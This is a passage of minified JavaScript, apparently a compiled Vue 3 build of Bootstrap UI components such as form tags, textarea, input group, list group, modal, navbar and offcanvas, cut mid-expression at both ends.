\"+(0,i.v_)(k.value),9,ep),(0,a.RG)(n.$slots,\"default\",(0,i._B)((0,a.Ng)((0,o.R1)(F))),()=>[(0,a.Lk)(\"ul\",{id:`${(0,o.R1)(g)}tag_list__`,class:\"b-form-tags-list list-unstyled mb-0 d-flex flex-wrap align-items-center\"},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(b.value,t=>(0,a.RG)(n.$slots,\"tag\",(0,i._B)((0,a.Ng)({tag:t,tagClass:e.tagClass,tagVariant:e.tagVariant,tagPillsBoolean:(0,o.R1)(v),removeTag:j})),()=>[((0,a.uX)(),(0,a.Wv)(Qf,{key:t,class:(0,i.C4)(e.tagClass),tag:\"li\",variant:e.tagVariant,pill:(0,o.R1)(v),onRemove:j},{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(t),1)]),_:2},1032,[\"class\",\"variant\",\"pill\"]))])),256)),(0,a.Lk)(\"li\",{role:\"none\",\"aria-live\":\"off\",class:\"b-from-tags-field flex-grow-1\",\"aria-controls\":`${(0,o.R1)(g)}tag_list__`},[(0,a.Lk)(\"div\",rp,[(0,a.Lk)(\"input\",(0,a.v6)({id:(0,o.R1)(y),ref_key:\"input\",ref:m,disabled:(0,o.R1)(s),value:$.value,type:e.inputType,placeholder:e.placeholder,class:\"b-form-tags-input w-100 flex-grow-1 p-0 m-0 bg-transparent border-0\",style:{outline:\"currentcolor none 0px\",\"min-width\":\"5rem\"}},e.inputAttrs,{form:e.form,required:(0,o.R1)(p),onInput:P,onChange:I,onKeydown:N,onFocus:W,onBlur:B}),null,16,ap),(0,o.R1)(M)?((0,a.uX)(),(0,a.CE)(\"button\",{key:0,type:\"button\",class:(0,i.C4)([\"btn b-form-tags-button py-0\",[`btn-${e.addButtonVariant}`,{\"disabled invisible\":0===$.value.length},e.inputClass]]),style:{\"font-size\":\"90%\"},disabled:(0,o.R1)(s)||0===$.value.length||(0,o.R1)(O),onClick:r[0]||(r[0]=e=>L($.value))},[(0,a.RG)(n.$slots,\"add-button-text\",{},()=>[(0,a.eW)((0,i.v_)(e.addButtonText),1)])],10,op)):(0,a.Q3)(\"\",!0)])],8,np)],8,tp),(0,a.Lk)(\"div\",ip,[(0,o.R1)(R)?((0,a.uX)(),(0,a.CE)(\"div\",lp,(0,i.v_)(e.invalidTagText)+\": \"+(0,i.v_)($.value),1)):(0,a.Q3)(\"\",!0),(0,o.R1)(T)?((0,a.uX)(),(0,a.CE)(\"small\",sp,(0,i.v_)(e.duplicateTagText)+\": \"+(0,i.v_)($.value),1)):(0,a.Q3)(\"\",!0),b.value.length===e.limit?((0,a.uX)(),(0,a.CE)(\"small\",up,\"Tag limit reached\")):(0,a.Q3)(\"\",!0)])]),e.name?((0,a.uX)(!0),(0,a.CE)(a.FK,{key:0},(0,a.pI)(b.value,t=>((0,a.uX)(),(0,a.CE)(\"input\",{key:t,type:\"hidden\",name:e.name,value:t},null,8,dp))),128)):(0,a.Q3)(\"\",!0)],42,Zf))}}),fp=(0,a.pM)({props:{...Su,noResize:{type:[Boolean,String],default:!1},rows:{type:[String,Number],required:!1,default:2},wrap:{type:String,default:\"soft\"}},emits:[\"update:modelValue\",\"change\",\"blur\",\"input\"],setup(e,{emit:t}){const n=cu((0,o.lW)(e,\"noResize\")),r=(0,a.EW)(()=>({\"form-control\":!e.plaintext,\"form-control-plaintext\":e.plaintext,[`form-control-${e.size}`]:!!e.size,\"is-valid\":!0===e.state,\"is-invalid\":!1===e.state})),i=(0,a.EW)(()=>n.value?{resize:\"none\"}:void 0),{input:l,computedId:s,computedAriaInvalid:u,onInput:d,onChange:c,onBlur:f,focus:p,blur:h}=Eu(e,t);return{input:l,computedId:s,computedAriaInvalid:u,onInput:d,onChange:c,onBlur:f,focus:p,blur:h,classes:r,computedStyles:i}}}),pp=[\"id\",\"name\",\"form\",\"disabled\",\"placeholder\",\"required\",\"autocomplete\",\"readonly\",\"aria-required\",\"aria-invalid\",\"rows\",\"wrap\"];function hp(e,t,n,r,o,i){return(0,a.uX)(),(0,a.CE)(\"textarea\",(0,a.v6)({id:e.computedId,ref:\"input\",class:e.classes,name:e.name||void 0,form:e.form||void 0,disabled:e.disabled,placeholder:e.placeholder,required:e.required,autocomplete:e.autocomplete||void 0,readonly:e.readonly||e.plaintext,\"aria-required\":e.required?\"true\":void 0,\"aria-invalid\":e.computedAriaInvalid,rows:e.rows,style:e.computedStyles,wrap:e.wrap||void 0},e.$attrs,{onInput:t[0]||(t[0]=t=>e.onInput(t)),onChange:t[1]||(t[1]=t=>e.onChange(t)),onBlur:t[2]||(t[2]=t=>e.onBlur(t))}),null,16,pp)}const vp=vd(fp,[[\"render\",hp]]),mp={key:0,class:\"input-group-text\"},gp=[\"innerHTML\"],yp={key:1},bp={key:0,class:\"input-group-text\"},$p=[\"innerHTML\"],wp={key:1},_p=(0,a.pM)({__name:\"BInputGroup\",props:{append:null,appendHtml:null,id:null,prepend:null,prependHtml:null,size:null,tag:{default:\"div\"}},setup(e){const t=e,n=(0,a.EW)(()=>({\"input-group-sm\":\"sm\"===t.size,\"input-group-lg\":\"lg\"===t.size})),r=(0,a.EW)(()=>!!t.append||!!t.appendHtml),l=(0,a.EW)(()=>!!t.prepend||!!t.prependHtml);return(t,s)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,class:(0,i.C4)([\"input-group\",(0,o.R1)(n)]),role:\"group\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"prepend\",{},()=>[(0,o.R1)(l)?((0,a.uX)(),(0,a.CE)(\"span\",mp,[e.prependHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.prependHtml},null,8,gp)):((0,a.uX)(),(0,a.CE)(\"span\",yp,(0,i.v_)(e.prepend),1))])):(0,a.Q3)(\"\",!0)]),(0,a.RG)(t.$slots,\"default\"),(0,a.RG)(t.$slots,\"append\",{},()=>[(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(\"span\",bp,[e.appendHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.appendHtml},null,8,$p)):((0,a.uX)(),(0,a.CE)(\"span\",wp,(0,i.v_)(e.append),1))])):(0,a.Q3)(\"\",!0)])]),_:3},8,[\"id\",\"class\"]))}}),kp=(0,a.pM)({__name:\"BInputGroupText\",props:{tag:{default:\"div\"},text:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"input-group-text\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3}))}}),Cp=(0,a.pM)({__name:\"BInputGroupAddon\",props:{isText:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"isText\"));return(e,n)=>(0,o.R1)(t)?((0,a.uX)(),(0,a.Wv)(kp,{key:0},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3})):(0,a.RG)(e.$slots,\"default\",{key:1})}}),xp=(0,a.pM)({__name:\"BInputGroupAppend\",props:{isText:{default:!1}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)(Cp,{\"is-text\":e.isText},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"is-text\"]))}}),Sp=(0,a.pM)({__name:\"BInputGroupPrepend\",props:{isText:{default:!1}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)(Cp,{\"is-text\":e.isText},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"is-text\"]))}}),Ep=Symbol(),Tp=(0,a.pM)({__name:\"BListGroup\",props:{flush:{default:!1},horizontal:{type:[Boolean,String],default:!1},numbered:{default:!1},tag:{default:\"div\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"flush\")),r=cu((0,o.lW)(t,\"numbered\")),l=(0,a.EW)(()=>{const e=!n.value&&t.horizontal;return{\"list-group-flush\":n.value,\"list-group-horizontal\":!0===e,[`list-group-horizontal-${e}`]:\"string\"==typeof e,\"list-group-numbered\":r.value}}),s=(0,a.EW)(()=>!0===r.value?\"ol\":t.tag);return(0,a.Gt)(Ep,{numbered:r.value}),(e,t)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(s)),{class:(0,i.C4)([\"list-group\",(0,o.R1)(l)])},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},8,[\"class\"]))}}),Rp=(0,a.pM)({__name:\"BListGroupItem\",props:{action:{default:!1},active:{default:!1},button:{default:!1},disabled:{default:!1},href:null,tag:{default:\"div\"},target:{default:\"_self\"},to:null,variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"action\")),r=cu((0,o.lW)(t,\"active\")),i=cu((0,o.lW)(t,\"button\")),l=cu((0,o.lW)(t,\"disabled\")),s=(0,a.OA)(),u=(0,a.WQ)(Ep,null),d=(0,a.EW)(()=>!i.value&&(!!t.href||!!t.to)),c=(0,a.EW)(()=>null!=u&&u.numbered?\"li\":i.value?\"button\":d.value?gd:t.tag),f=(0,a.EW)(()=>{const e=n.value||d.value||i.value||[\"a\",\"router-link\",\"button\",\"b-link\"].includes(t.tag);return{[`list-group-item-${t.variant}`]:void 0!==t.variant,\"list-group-item-action\":e,active:r.value,disabled:l.value}}),p=(0,a.EW)(()=>{const e={};return i.value&&((!s||!s.type)&&(e.type=\"button\"),l.value&&(e.disabled=!0)),e});return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(c)),(0,a.v6)({class:[\"list-group-item\",(0,o.R1)(f)],\"aria-current\":!!(0,o.R1)(r)||null,\"aria-disabled\":!!(0,o.R1)(l)||null,target:(0,o.R1)(d)?e.target:null,href:(0,o.R1)(i)?null:e.href,to:(0,o.R1)(i)?null:e.to},(0,o.R1)(p)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},16,[\"class\",\"aria-current\",\"aria-disabled\",\"target\",\"href\",\"to\"]))}}),Op=[\"id\"],Mp={inheritAttrs:!1},Ap=(0,a.pM)({...Mp,__name:\"BModal\",props:{bodyBgVariant:null,bodyClass:null,bodyTextVariant:null,busy:{default:!1},lazy:{default:!1},buttonSize:{default:\"md\"},cancelDisabled:{default:!1},cancelTitle:{default:\"Cancel\"},cancelVariant:{default:\"secondary\"},centered:{default:!1},contentClass:null,dialogClass:null,footerBgVariant:null,footerBorderVariant:null,footerClass:null,footerTextVariant:null,fullscreen:{type:[Boolean,String],default:!1},headerBgVariant:null,headerBorderVariant:null,headerClass:null,headerCloseLabel:{default:\"Close\"},headerCloseWhite:{default:!1},headerTextVariant:null,hideBackdrop:{default:!1},hideFooter:{default:!1},hideHeader:{default:!1},hideHeaderClose:{default:!1},id:null,modalClass:null,modelValue:{default:!1},noCloseOnBackdrop:{default:!1},noCloseOnEsc:{default:!1},noFade:{default:!1},noFocus:{default:!1},okDisabled:{default:!1},okOnly:{default:!1},okTitle:{default:\"Ok\"},okVariant:{default:\"primary\"},scrollable:{default:!1},show:{default:!1},size:null,title:null,titleClass:null,titleSrOnly:{default:!1},titleTag:{default:\"h5\"}},emits:[\"update:modelValue\",\"show\",\"shown\",\"hide\",\"hidden\",\"hide-prevented\",\"ok\",\"cancel\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"busy\")),s=cu((0,o.lW)(n,\"lazy\")),u=cu((0,o.lW)(n,\"cancelDisabled\")),d=cu((0,o.lW)(n,\"centered\")),c=cu((0,o.lW)(n,\"headerCloseWhite\")),f=cu((0,o.lW)(n,\"hideBackdrop\")),p=cu((0,o.lW)(n,\"hideFooter\")),h=cu((0,o.lW)(n,\"hideHeader\")),v=cu((0,o.lW)(n,\"hideHeaderClose\")),m=cu((0,o.lW)(n,\"modelValue\")),g=cu((0,o.lW)(n,\"noCloseOnBackdrop\")),y=cu((0,o.lW)(n,\"noCloseOnEsc\")),b=cu((0,o.lW)(n,\"noFade\")),$=cu((0,o.lW)(n,\"noFocus\")),w=cu((0,o.lW)(n,\"okDisabled\")),_=cu((0,o.lW)(n,\"okOnly\")),k=cu((0,o.lW)(n,\"scrollable\")),C=cu((0,o.lW)(n,\"show\")),x=cu((0,o.lW)(n,\"titleSrOnly\")),S=(0,o.KR)(!1),E=xu((0,o.lW)(n,\"id\"),\"modal\"),T=(0,o.KR)(),R=(0,o.KR)(),O=(0,a.EW)(()=>[{fade:!b.value,show:C.value},n.modalClass]),M=(0,a.EW)(()=>[{\"modal-fullscreen\":!0===n.fullscreen,[`modal-fullscreen-${n.fullscreen}-down`]:\"string\"==typeof n.fullscreen,[`modal-${n.size}`]:void 0!==n.size,\"modal-dialog-centered\":d.value,\"modal-dialog-scrollable\":k.value},n.dialogClass]),A=(0,a.EW)(()=>[{[`bg-${n.bodyBgVariant}`]:n.bodyBgVariant,[`text-${n.bodyTextVariant}`]:n.bodyTextVariant},n.bodyClass]),D=(0,a.EW)(()=>[{[`bg-${n.headerBgVariant}`]:n.headerBgVariant,[`border-${n.headerBorderVariant}`]:n.headerBorderVariant,[`text-${n.headerTextVariant}`]:n.headerTextVariant},n.headerClass]),W=(0,a.EW)(()=>[{[`bg-${n.footerBgVariant}`]:n.footerBgVariant,[`border-${n.footerBorderVariant}`]:n.footerBorderVariant,[`text-${n.footerTextVariant}`]:n.footerTextVariant},n.footerClass]),B=(0,a.EW)(()=>[{[\"visually-hidden\"]:x.value},n.titleClass]),P=(0,a.EW)(()=>u.value||r.value),I=(0,a.EW)(()=>w.value||r.value);mu(T,\"shown.bs.modal\",e=>N(e)),mu(T,\"hidden.bs.modal\",e=>L(e)),mu(T,\"show.bs.modal\",e=>j(e)),mu(T,\"hide.bs.modal\",e=>F(e));const N=e=>{t(\"shown\",e),!0===s.value&&(S.value=!0),!1===m.value&&t(\"update:modelValue\",!0),e.target.focus()},L=e=>{t(\"hidden\",e),!0===s.value&&(S.value=!1),!0===m.value&&t(\"update:modelValue\",!1);const n=document.querySelector(\".modal\");n&&n.focus()},j=e=>{t(\"show\",e)},F=e=>{t(\"hide\",e)},V=()=>{m.value&&t(\"update:modelValue\",!0),X().show()},U=()=>{m.value&&t(\"update:modelValue\",!1),X().hide()},X=()=>(void 0!==R.value||(R.value=new Ao(T.value,{backdrop:!1,keyboard:!y.value,focus:!$.value})),R.value);return(0,a.sV)(()=>{m.value&&X().show()}),(0,a.xo)(()=>{var e;null==(e=R.value)||e.dispose(),R.value=void 0}),(0,a.wB)(()=>n.noCloseOnBackdrop,e=>{X()._config.backdrop=!n.hideBackdrop&&(e?\"static\":!n.hideBackdrop)}),(0,a.wB)(()=>n.noCloseOnEsc,e=>{X()._config.keyboard=!e}),(0,a.wB)(()=>m.value,e=>{(0,a.dY)(()=>{e?V():U()})}),(n,r)=>((0,a.uX)(),(0,a.Wv)(a.Im,{to:\"body\"},[(0,a.Lk)(\"div\",(0,a.v6)({id:(0,o.R1)(E),ref_key:\"element\",ref:T,class:[\"modal\",(0,o.R1)(O)],tabindex:\"-1\"},n.$attrs),[(0,a.Lk)(\"div\",{class:(0,i.C4)([\"modal-dialog\",(0,o.R1)(M)])},[!(0,o.R1)(s)||(0,o.R1)(s)&&S.value||(0,o.R1)(s)&&!0===(0,o.R1)(m)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"modal-content\",e.contentClass])},[(0,o.R1)(h)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"modal-header\",(0,o.R1)(D)])},[(0,a.RG)(n.$slots,\"header\",{},()=>[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.titleTag),{class:(0,i.C4)([\"modal-title\",(0,o.R1)(B)])},{default:(0,a.k6)(()=>[(0,a.RG)(n.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)],!0)]),_:3},8,[\"class\"])),(0,o.R1)(v)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(a.FK,{key:0},[n.$slots[\"header-close\"]?((0,a.uX)(),(0,a.CE)(\"button\",{key:0,type:\"button\",\"data-bs-dismiss\":\"modal\",onClick:r[0]||(r[0]=e=>U())},[(0,a.RG)(n.$slots,\"header-close\",{},void 0,!0)])):((0,a.uX)(),(0,a.Wv)(ad,{key:1,type:\"button\",\"aria-label\":e.headerCloseLabel,\"data-bs-dismiss\":\"modal\",white:(0,o.R1)(c),onClick:r[1]||(r[1]=e=>U())},null,8,[\"aria-label\",\"white\"]))],64))],!0)],2)),(0,a.Lk)(\"div\",{class:(0,i.C4)([\"modal-body\",(0,o.R1)(A)])},[(0,a.RG)(n.$slots,\"default\",{},void 0,!0)],2),(0,o.R1)(p)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",{key:1,class:(0,i.C4)([\"modal-footer\",(0,o.R1)(W)])},[(0,a.RG)(n.$slots,\"footer\",{},()=>[(0,o.R1)(_)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.Wv)(Dd,{key:0,type:\"button\",class:\"btn\",disabled:(0,o.R1)(P),size:e.buttonSize,variant:e.cancelVariant,onClick:r[2]||(r[2]=e=>(U(),t(\"cancel\")))},{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(e.cancelTitle),1)]),_:1},8,[\"disabled\",\"size\",\"variant\"])),(0,a.bF)(Dd,{type:\"button\",class:\"btn\",disabled:(0,o.R1)(I),size:e.buttonSize,variant:e.okVariant,onClick:r[3]||(r[3]=e=>(U(),t(\"ok\")))},{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(e.okTitle),1)]),_:1},8,[\"disabled\",\"size\",\"variant\"])],!0)],2))],2)):(0,a.Q3)(\"\",!0)],2),!1===(0,o.R1)(f)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:\"modal-backdrop fade show\",onClick:r[4]||(r[4]=(0,l.D$)(e=>!1===(0,o.R1)(g)&&U(),[\"prevent\"]))})):(0,a.Q3)(\"\",!0)],16,Op)]))}}),Dp=vd(Ap,[[\"__scopeId\",\"data-v-f7e6d64f\"]]),Wp=(0,a.pM)({__name:\"BNav\",props:{align:null,cardHeader:{default:!1},fill:{default:!1},justified:{default:!1},pills:{default:!1},small:{default:!1},tabs:{default:!1},tag:{default:\"ul\"},vertical:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"cardHeader\")),r=cu((0,o.lW)(t,\"fill\")),l=cu((0,o.lW)(t,\"justified\")),s=cu((0,o.lW)(t,\"pills\")),u=cu((0,o.lW)(t,\"small\")),d=cu((0,o.lW)(t,\"tabs\")),c=cu((0,o.lW)(t,\"vertical\")),f=(0,a.EW)(()=>({\"nav-tabs\":d.value,\"nav-pills\":s.value&&!d.value,\"card-header-tabs\":!c.value&&n.value&&d.value,\"card-header-pills\":!c.value&&n.value&&s.value&&!d.value,\"flex-column\":c.value,\"nav-fill\":!c.value&&r.value,\"nav-justified\":!c.value&&l.value,[`justify-content-${t.align}`]:!c.value&&void 0!==t.align,small:u.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"nav\",(0,o.R1)(f)])},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\"]))}}),Bp=(0,a.pM)({__name:\"BNavForm\",props:{role:null,id:null,floating:{default:!1},novalidate:{default:!1},validated:{default:!1}},emits:[\"submit\"],setup(e,{emit:t}){const n=e,r=e=>t(\"submit\",e),i=(0,a.EW)(()=>({floating:n.floating,role:n.role,id:n.id,novalidate:n.novalidate,validated:n.validated}));return(e,t)=>((0,a.uX)(),(0,a.Wv)(lf,(0,a.v6)((0,o.R1)(i),{class:\"d-flex\",onSubmit:(0,l.D$)(r,[\"prevent\"])}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"onSubmit\"]))}}),Pp=(0,a.pM)({components:{BLink:gd},props:{...ds(pd,[\"event\",\"routerTag\"])},setup(e){return{disabledBoolean:cu((0,o.lW)(e,\"disabled\"))}}}),Ip={class:\"nav-item\"};function Np(e,t,n,r,o,i){const l=(0,a.g2)(\"b-link\");return(0,a.uX)(),(0,a.CE)(\"li\",Ip,[(0,a.bF)(l,(0,a.v6)({class:\"nav-link\"},e.$props,{\"active-class\":\"active\",tabindex:e.disabledBoolean?-1:void 0,\"aria-disabled\":!!e.disabledBoolean||void 0}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"tabindex\",\"aria-disabled\"])])}const Lp=vd(Pp,[[\"render\",Np]]),jp={class:\"nav-item dropdown\"},Fp=(0,a.pM)({__name:\"BNavItemDropdown\",props:{id:null,text:null,toggleClass:null,size:null,offset:null,autoClose:{type:[Boolean,String],default:!0},dark:{type:Boolean,default:!1},dropleft:{type:Boolean,default:!1},dropright:{type:Boolean,default:!1},dropup:{type:Boolean,default:!1},right:{type:Boolean,default:!1},left:{type:[Boolean,String],default:!1},split:{type:Boolean,default:!1},splitVariant:null,noCaret:{type:Boolean,default:!1},variant:{default:\"link\"}},setup(e){return(e,t)=>((0,a.uX)(),(0,a.CE)(\"li\",jp,[(0,a.bF)(Pc,(0,a.v6)(e.$props,{\"is-nav\":\"\"}),(0,a.eX)({_:2},[(0,a.pI)(e.$slots,(t,n)=>({name:n,fn:(0,a.k6)(t=>[(0,a.RG)(e.$slots,n,(0,i._B)((0,a.Ng)(t||{})))])}))]),1040)]))}}),Vp={class:\"navbar-text\"},Up=(0,a.pM)({__name:\"BNavText\",props:{text:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",Vp,[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]))}}),Xp=(0,a.pM)({__name:\"BNavbar\",props:{fixed:null,print:{default:!1},sticky:null,tag:{default:\"nav\"},toggleable:{type:[Boolean,String],default:!1},dark:{default:!1},variant:null,container:{type:[String,Boolean],default:\"fluid\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"print\")),r=cu((0,o.lW)(t,\"dark\")),l=(0,a.EW)(()=>\"nav\"===t.tag?void 0:\"navigation\"),s=(0,a.EW)(()=>\"string\"==typeof t.toggleable?`navbar-expand-${t.toggleable}`:!1===t.toggleable?\"navbar-expand\":void 0),u=(0,a.EW)(()=>!1===t.container?void 0:!0===t.container?\"container\":`container-${t.container}`),d=(0,a.EW)(()=>({\"d-print\":n.value,[`sticky-${t.sticky}`]:void 0!==t.sticky,\"navbar-dark\":r.value,[`bg-${t.variant}`]:void 0!==t.variant,[`fixed-${t.fixed}`]:void 0!==t.fixed,[`${s.value}`]:void 0!==s.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"navbar\",(0,o.R1)(d)]),role:(0,o.R1)(l)},{default:(0,a.k6)(()=>[!1!==e.container?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)((0,o.R1)(u))},[(0,a.RG)(t.$slots,\"default\")],2)):(0,a.RG)(t.$slots,\"default\",{key:1})]),_:3},8,[\"class\",\"role\"]))}}),Hp=ds(pd,[\"event\",\"routerTag\"]),Gp=(0,a.pM)({components:{BLink:gd},props:{tag:{type:String,default:\"div\"},...Hp},setup(e){const t=(0,a.EW)(()=>du(e)),n=(0,a.EW)(()=>t.value?gd:e.tag);return{props:t.value?su(e,Hp):{},computedTag:n}}});function Yp(e,t,n,r,o,i){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({class:\"navbar-brand\"},e.props),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16)}const zp=vd(Gp,[[\"render\",Yp]]),Kp=(0,a.pM)({__name:\"BNavbarNav\",props:{align:null,fill:{default:!1},justified:{default:!1},small:{default:!1},tag:{default:\"ul\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"fill\")),r=cu((0,o.lW)(t,\"justified\")),l=cu((0,o.lW)(t,\"small\")),s=(0,a.EW)(()=>({\"nav-fill\":n.value,\"nav-justified\":r.value,[`justify-content-${t.align}`]:void 0!==t.align,small:l.value}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"ul\",{class:(0,i.C4)([\"navbar-nav\",(0,o.R1)(s)])},[(0,a.RG)(e.$slots,\"default\")],2))}}),qp=(0,a.Lk)(\"span\",{class:\"navbar-toggler-icon\"},null,-1),Qp=(0,a.pM)({__name:\"BNavbarToggle\",props:{disabled:{default:!1},label:{default:\"Toggle navigation\"},target:null},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"disabled\")),i=(0,a.EW)(()=>({disabled:r.value,\"aria-label\":n.label})),l=(0,a.EW)(()=>({disabled:r.value})),s=e=>{r.value||t(\"click\",e)};return(t,n)=>(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"button\",(0,a.v6)({class:[\"navbar-toggler\",(0,o.R1)(l)],type:\"button\"},(0,o.R1)(i),{onClick:s}),[(0,a.RG)(t.$slots,\"default\",{},()=>[qp])],16)),[[(0,o.R1)(Lu),(0,o.R1)(r)?void 0:e.target]])}}),Zp=[\"data-bs-backdrop\",\"data-bs-scroll\"],Jp={key:0,class:\"offcanvas-header\"},eh={id:\"offcanvasLabel\",class:\"offcanvas-title\"},th={class:\"offcanvas-body\"},nh={key:1},rh=(0,a.pM)({__name:\"BOffcanvas\",props:{dismissLabel:{default:\"Close\"},modelValue:{default:!1},bodyScrolling:{default:!1},backdrop:{default:!0},placement:{default:\"start\"},title:null,noHeaderClose:{default:!1},noHeader:{default:!1}},emits:[\"update:modelValue\",\"show\",\"shown\",\"hide\",\"hidden\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"modelValue\")),l=cu((0,o.lW)(n,\"bodyScrolling\")),s=cu((0,o.lW)(n,\"backdrop\")),u=cu((0,o.lW)(n,\"noHeaderClose\")),d=cu((0,o.lW)(n,\"noHeader\")),c=(0,o.KR)(),f=(0,o.KR)();mu(c,\"shown.bs.offcanvas\",()=>t(\"shown\")),mu(c,\"hidden.bs.offcanvas\",()=>t(\"hidden\"));const p=()=>{t(\"show\"),t(\"update:modelValue\",!0)},h=()=>{t(\"hide\"),t(\"update:modelValue\",!1)};mu(c,\"show.bs.offcanvas\",()=>{p()}),mu(c,\"hide.bs.offcanvas\",()=>{h()}),(0,a.sV)(()=>{var e;f.value=new ti(c.value),r.value&&(null==(e=f.value)||e.show(c.value))});const v=(0,a.EW)(()=>({[`offcanvas-${n.placement}`]:!!n.placement}));return(0,a.wB)(()=>r.value,e=>{var t,n;e?null==(t=f.value)||t.show(c.value):null==(n=f.value)||n.hide()}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{ref_key:\"element\",ref:c,class:(0,i.C4)([\"offcanvas\",(0,o.R1)(v)]),tabindex:\"-1\",\"aria-labelledby\":\"offcanvasLabel\",\"data-bs-backdrop\":(0,o.R1)(s),\"data-bs-scroll\":(0,o.R1)(l)},[(0,o.R1)(d)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",Jp,[(0,a.RG)(t.$slots,\"header\",(0,i._B)((0,a.Ng)({visible:e.modelValue,placement:e.placement,hide:h})),()=>[(0,a.Lk)(\"h5\",eh,[(0,a.RG)(t.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])]),(0,o.R1)(u)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.Wv)(ad,{key:0,type:\"button\",class:\"text-reset\",\"data-bs-dismiss\":\"offcanvas\",\"aria-label\":e.dismissLabel},null,8,[\"aria-label\"]))])])),(0,a.Lk)(\"div\",th,[(0,a.RG)(t.$slots,\"default\")]),t.$slots.footer?((0,a.uX)(),(0,a.CE)(\"div\",nh,[(0,a.RG)(t.$slots,\"footer\",(0,i._B)((0,a.Ng)({visible:e.modelValue,placement:e.placement,hide:h})))])):(0,a.Q3)(\"\",!0)],10,Zp))}}),ah=(0,a.pM)({__name:\"BOverlay\",props:{bgColor:null,blur:{default:\"2px\"},fixed:{default:!1},noCenter:{default:!1},noFade:{default:!1},noWrap:{default:!1},opacity:{default:.85},overlayTag:{default:\"div\"},rounded:{type:[Boolean,String],default:!1},show:{default:!1},spinnerSmall:{default:!1},spinnerType:{default:\"border\"},spinnerVariant:null,variant:{default:\"light\"},wrapTag:{default:\"div\"},zIndex:{default:10}},emits:[\"click\",\"hidden\",\"shown\"],setup(e,{emit:t}){const n=e,r={top:0,left:0,bottom:0,right:0},l=cu((0,o.lW)(n,\"fixed\")),s=cu((0,o.lW)(n,\"noCenter\")),u=cu((0,o.lW)(n,\"noFade\")),d=cu((0,o.lW)(n,\"noWrap\")),c=cu((0,o.lW)(n,\"show\")),f=cu((0,o.lW)(n,\"spinnerSmall\")),p=(0,a.EW)(()=>!0===n.rounded||\"\"===n.rounded?\"rounded\":!1===n.rounded?\"\":`rounded-${n.rounded}`),h=(0,a.EW)(()=>n.variant&&!n.bgColor?`bg-${n.variant}`:\"\"),v=(0,a.EW)(()=>c.value?\"true\":null),m=(0,a.EW)(()=>({type:n.spinnerType||void 0,variant:n.spinnerVariant||void 0,small:f.value})),g=(0,a.EW)(()=>({...r,zIndex:n.zIndex||10})),y=(0,a.EW)(()=>[\"b-overlay\",{\"position-absolute\":!d.value||!l.value,\"position-fixed\":d.value&&l.value}]),b=(0,a.EW)(()=>[h.value,p.value]),$=(0,a.EW)(()=>({...r,opacity:n.opacity,backgroundColor:n.bgColor||void 0,backdropFilter:blur?`blur(${blur})`:void 